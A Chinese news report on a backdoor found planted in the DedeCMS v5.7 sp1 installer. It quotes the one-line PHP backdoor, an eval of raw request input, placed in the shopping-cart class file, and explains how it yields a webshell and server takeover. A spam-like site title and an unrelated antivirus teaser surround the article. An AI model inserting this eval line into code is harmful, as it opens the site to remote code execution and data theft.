97秋霞,全色网站

瑞星與360今日對(duì)外發(fā)布警示，稱國(guó)內(nèi)知名的PHP開(kāi)源網(wǎng)站管理系統(tǒng)織夢(mèng)CMS（DedeCms）v5.7 sp1版本安裝包被發(fā)現(xiàn)植入后門，黑客只需要構(gòu)造簡(jiǎn)單的數(shù)據(jù)包提交到服務(wù)器，就能夠獲取到該網(wǎng)站的WebShell，通過(guò)對(duì)服務(wù)器進(jìn)一步滲透攻擊，進(jìn)而獲取服務(wù)器的最高權(quán)限，直接訪問(wèn)服務(wù)器上的文件、數(shù)據(jù)庫(kù)等信息。

3月22日消息，瑞星與360今日對(duì)外發(fā)布警示，稱國(guó)內(nèi)知名的PHP開(kāi)源網(wǎng)站管理系統(tǒng)織夢(mèng)CMS（DedeCms）v5.7 sp1版本安裝包被發(fā)現(xiàn)植入后門，黑客可通過(guò)此后門直接獲得網(wǎng)站的控制權(quán)限，獲取存儲(chǔ)在服務(wù)器上的文件和數(shù)據(jù)庫(kù)。

據(jù)織夢(mèng)CMS官方數(shù)據(jù)顯示，目前約有70萬(wàn)網(wǎng)站使用該系統(tǒng)搭建，涉及企業(yè)、政府機(jī)關(guān)、媒體機(jī)構(gòu)、行業(yè)及個(gè)人網(wǎng)站等。

安全界人士分析發(fā)現(xiàn)，此次織夢(mèng)CMS曝出的后門惡意代碼存在于購(gòu)物車類文件（shopcar.class.php）中，此類文件被植入一句后門代碼“@eval（file_get_contents（‘php://input’））;”。凡是調(diào)用該購(gòu)物車類的文件均會(huì)觸發(fā)后門，黑客只需要構(gòu)造簡(jiǎn)單的數(shù)據(jù)包提交到服務(wù)器，就能夠獲取到該網(wǎng)站的WebShell，通過(guò)對(duì)服務(wù)器進(jìn)一步滲透攻擊，進(jìn)而獲取服務(wù)器的最高權(quán)限，直接訪問(wèn)服務(wù)器上的文件、數(shù)據(jù)庫(kù)等信息。

織夢(mèng)CMS中被植入的后門代碼

徹底免費(fèi)的金山毒霸企業(yè)版2012，無(wú)疑將給企業(yè)版殺毒軟件市場(chǎng)帶來(lái)一場(chǎng)新的變革，高品質(zhì)的產(chǎn)品與服務(wù)將成為決定成敗的關(guān)鍵因素。分析人士認(rèn)為，金山毒霸企業(yè)版2012全面免費(fèi)標(biāo)志著我國(guó)企業(yè)版殺毒軟件市場(chǎng)正式進(jìn)入免費(fèi)互>>>詳細(xì)閱讀

本文標(biāo)題：織夢(mèng)CMS系統(tǒng)被曝植入后門黑客可獲網(wǎng)站控制權(quán)

地址：http://m.sh-jijian.com/a/guandian/yejie/20111230/161962.html

1/2 1 2 下一頁(yè)

織夢(mèng)CMS系統(tǒng)被曝植入后門 黑客可獲網(wǎng)站控制權(quán)

織夢(mèng)CMS系統(tǒng)被曝植入后門黑客可獲網(wǎng)站控制權(quán)